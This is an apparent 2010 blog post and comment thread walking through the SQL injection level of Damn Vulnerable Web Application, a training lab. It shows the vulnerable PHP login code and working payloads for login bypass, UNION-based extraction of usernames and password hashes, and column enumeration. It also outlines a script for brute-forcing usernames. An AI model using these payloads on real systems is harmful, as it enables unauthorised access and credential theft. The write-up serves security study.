SQL Injection Fun…

June 3, 2010 at 2:07 pm (PHP, Programming, Security, SQL, SQL Injection)

Hey guys,

So I have been playing around with the, Damn Vulnerable Web Application. Which you can find here, however I decided to use the Web Security Dojo v1.0 live cd from here. The first level was an SQL Injection or Web Form Brute force. I decided to play around with the SQL Injection. So, lets take a look at the PHP source code behind the page:

<?php

if( isset( $_GET['Login'] ) ) {

$user = $_GET['username'];

$pass = $_GET['password'];
$pass = md5($pass);

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";
$result = mysql_query( $qry ) or die( '<pre>' . mysql_error() . '</pre>' );

if( $result && mysql_num_rows( $result ) == 1 ) {
// Get users details
$i=0; // Bug fix.
$avatar = mysql_result( $result, $i, "avatar" );

// Login Successful
echo "<p>Welcome to the password protected area " . $user . "</p>";
echo '<img src="' . $avatar . '" />';
} else {
//Login failed
echo "<pre><br>Username and/or password incorrect.</pre>";
}

mysql_close();
}

?>

As you can see there is no sanitization used on the username or password variable. However the md5( $passwd ) does make it rather interesting injecting into that variable, I have yet to find out a way to take control of the password field because of this. So I decided to play with the username variable. Let’s take a closer look at how the query is constructed:

$qry = "SELECT * FROM `users` WHERE user='$user' AND password='$pass';";

So as you can see the $user variable is passed straight to the query without any sanitization (e.g. stripslashes(), mysql_real_escape_string()). So we can inject SQL statements into the username field on the web page. So the first thing I try is:

username: '
password: '

A single quote, which gives us the following error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '3590cb8af0bbb9e78c343b52b93773c9'' at line 1

Beautiful, we have confirmed it – it is vulnerable to SQL Injections, ok so the interesting part..

if( $result && mysql_num_rows( $result ) == 1 ) {

Basically tells us that we need to supply a query that returns one row only, if it returns one row then the avatar will be displayed along with the “restricted area”.

Let’s try a couple of SQL statements like the following:

username: admin' --
username: ' OR user='admin' --
username: ' OR 1=1 limit 0,1 --

Or perhaps like this:

username: a' or user LIKE 'a%' limit 0,1--
password: a

Let’s look at each of these individually, admin’ — basically completes the sql query by passing the user ‘admin’ and then commenting the rest of the SQL statement out using ” — “. So when this is passed to the database, the actually query is:

$qry = "SELECT * FROM `users` WHERE user='admin' -- AND password='$pass';";

Which gets interpreted as:

SELECT * FROM `users` WHERE user='admin' --;

The same happens with: ‘ OR user=’admin’ — it’s just a longer logical query that looks like:

SELECT * FROM `users` WHERE user='' OR user='admin' --;

Also with: ‘ OR 1=1 limit 0,1 — is the same, its logical, but says 1=1 which is true, which would display the whole table however that would result in the bottom part of the if loop being executed, which gives us incorrect username or password. So we use the limit clause, to limit it to one row: limit 0,1. This then gets passed to the database looking like:

SELECT * FROM `users` WHERE user='' OR 1=1 limit 0,1 --;

The possibilities here are endless, however we got the result we wanted. It displayed the avatar for the user and allowed us into the restricted admin area. Another thought I had when playing with this was to write a script that brute forced the usernames in the SQLi statement to get access to all user accounts. It would be a pretty simply task in any scripting language, here is what I would do:

http://localhost/dvwa/vulnerabilities/brute/?username=admin%27+--%20&password=&Login=Login#

That is the URL, I would compose a list of usernames into users.txt. Then using Python, perl whatever your familiar with, open users.txt then read in the first username to $user and make a GET request to:

http://localhost/dvwa/vulnerabilities/brute/?username=$user%27+--%20&password=&Login=Login#

If the user is correct, you will get the avatar and restricted area access otherwise the string:

"Username and/or password incorrect."

will be displayed which you can check for in your code. Nice and simple, you can even get rid of the SQL statment and add a password.txt file load up a passsword when you load the user and just brute force the login page..

Anyway, onto the next fun level.

Advertisements

5 Comments

  1. 0xzoidberg said,

    Hey, so I kept on at trying to get the password hash from the database as I was sure it was possible, and I was right 🙂 Thanks to bla for pointing me in the right direction with this one.

    If you pass any of the following SQL queries in the user name field:

    ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 0,1--
    ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 1,1--
    ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 2,1--
    ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 3,1--
    ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 4,1--

    Then if you look at the page source for each one of the returned pages, for instance, lets check out the page source for:

    ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 0,1--

    First of all we notice the following text on the returned page:

    Welcome to the password protected area ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 0,1--

    So from this we can see that we got into the administrators protected area, but instead of displaying the avatar it displays the SQL query we constructed. Now lets look at the source to this page:

    <p>Welcome to the password protected area ' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 0,1-- </p><img src="admin5f4dcc3b5aa765d61d8327deb882cf99" />

    As you can see just as expected the user name and password hash are displayed in the img src= HTML tag:

    admin5f4dcc3b5aa765d61d8327deb882cf99

    Why does it work like this, well lets review the source code again:

    When we send our query, it gets passed to the mysql_query() function and handed over to the database like so:

    SELECT * FROM `users` WHERE user='' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 0,1--

    If we were to type that directly into the database it might make it easier to understand. Let’s try it:

    mysql> SELECT * FROM `users` WHERE user='' union select 1,2,3,4,5,concat(user,password) from dvwa.users limit 0,1--;
    +---------+------------+-----------+------+----------+---------------------------------------+
    | user_id | first_name | last_name | user | password | avatar |
    +---------+------------+-----------+------+----------+---------------------------------------+
    | 1 | 2 | 3 | 4 | 5 | admin5f4dcc3b5aa765d61d8327deb882cf99 |
    +---------+------------+-----------+------+----------+---------------------------------------+
    1 row in set (0.01 sec)

    mysql>

    So the above row is returned to the $result variable. Next we check that $result only contains one row, if it does we perform the following function:

    $avatar = mysql_result( $result, $i, "avatar" );

    Which basically returns the result of one field from the row, and as you guessed it it returns the “avatar” field, and that is what contains the user name and password hash.

    Bingo! 🙂

    We can then take the MD5 hash, and goto somewhere like Milworm and crack the password.

    -::TYPE -::HASH -::PASS -::STATUS
    md5 5f4dcc3b5aa765d61d8327deb882cf99 password cracked

    So the password for the user ‘admin’ is ‘password’ how original 🙂

    Much more fun that brute forcing it like the Instructions advised!

  2. 0xzoidberg said,

    Oh I thought I should explain a little bit about how I figured out how many columns there were. So the way I did this was as follows:

    OK to work out the number of columns do this:

    Query:
    Username: ' union select 1,2 --
    Password:

    Returned Page:
    The used SELECT statements have a different number of columns

    Query:
    Username: ' union select 1,2,3 --
    Password:

    Returned Page:
    The used SELECT statements have a different number of columns

    Query:
    Username: ' union select 1,2,3,4 --
    Password:

    Returned Page:
    The used SELECT statements have a different number of columns

    Query:
    Username: ' union select 1,2,3,4,5 --
    Password:

    Returned Page:
    The used SELECT statements have a different number of columns

    Query:
    Username: ' union select 1,2,3,4,5,6 --
    Password:

    Now this returns something completely different:

    Welcome to the password protected area ' union select 1,2,3,4,5,6 --

    So we got access to the password protected area, but if we look at the page source we see:

    <p>Welcome to the password protected area ' union select 1,2,3,4,5,6 -- </p><img src="6" />

    So we can safely say there are 6 columns. Let’s take a look at the database when brute forcing for the column numbers:

    mysql> SELECT * FROM `users` WHERE user='' union select 1--;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> SELECT * FROM `users` WHERE user='' union select 1,2--;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> SELECT * FROM `users` WHERE user='' union select 1,2,3--;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> SELECT * FROM `users` WHERE user='' union select 1,2,3,4--;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> SELECT * FROM `users` WHERE user='' union select 1,2,3,4,5--;
    ERROR 1222 (21000): The used SELECT statements have a different number of columns
    mysql> SELECT * FROM `users` WHERE user='' union select 1,2,3,4,5,6--;
    +---------+------------+-----------+------+----------+--------+
    | user_id | first_name | last_name | user | password | avatar |
    +---------+------------+-----------+------+----------+--------+
    | 1 | 2 | 3 | 4 | 5 | 6 |
    +---------+------------+-----------+------+----------+--------+
    1 row in set (0.00 sec)

    mysql>

    So what happens is, we know the sixth column is the final one. We can use the concat function here, to concatenate the user name and password together and return it in the 6th column which is the avatar column and then limit the result so that it just returns the first row.

  3. 0xzoidberg said,

    Oh, I figured I would include some other stuff I used whilst playing with this level, just in-case it comes in handy sometime in the future 🙂

    Another way to get the number of columns is to do this:

    admin' ORDER BY 1--
    admin' ORDER BY 2--
    admin' ORDER BY 3--

    Until you get an error...

    admin' ORDER BY 7-- <-- Gives us the error.

    So we know there are 6 columns! :-)

    To get the MySQL Version try this:

    ' union select 1,2,3,4,5,@@version from dvwa.users limit 0,1--

    Then check the source where the avatar should be for the version:

    <p>Welcome to the password protected area ' union select 1,2,3,4,5,@@version from dvwa.users limit 0,1-- </p><img src="5.1.37-1ubuntu5.1" />

    You can generally look at the HTML form source and make a good guess as to the names of the database and fields in tables, etc..

  4. Spam engine said,

    Excellent, what a web site it is! This blog provides useful
    information to us, keep it up.

  5. Bernadette said,

    Can you tell us more about this? I’d love to find out more details.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s

%d bloggers like this: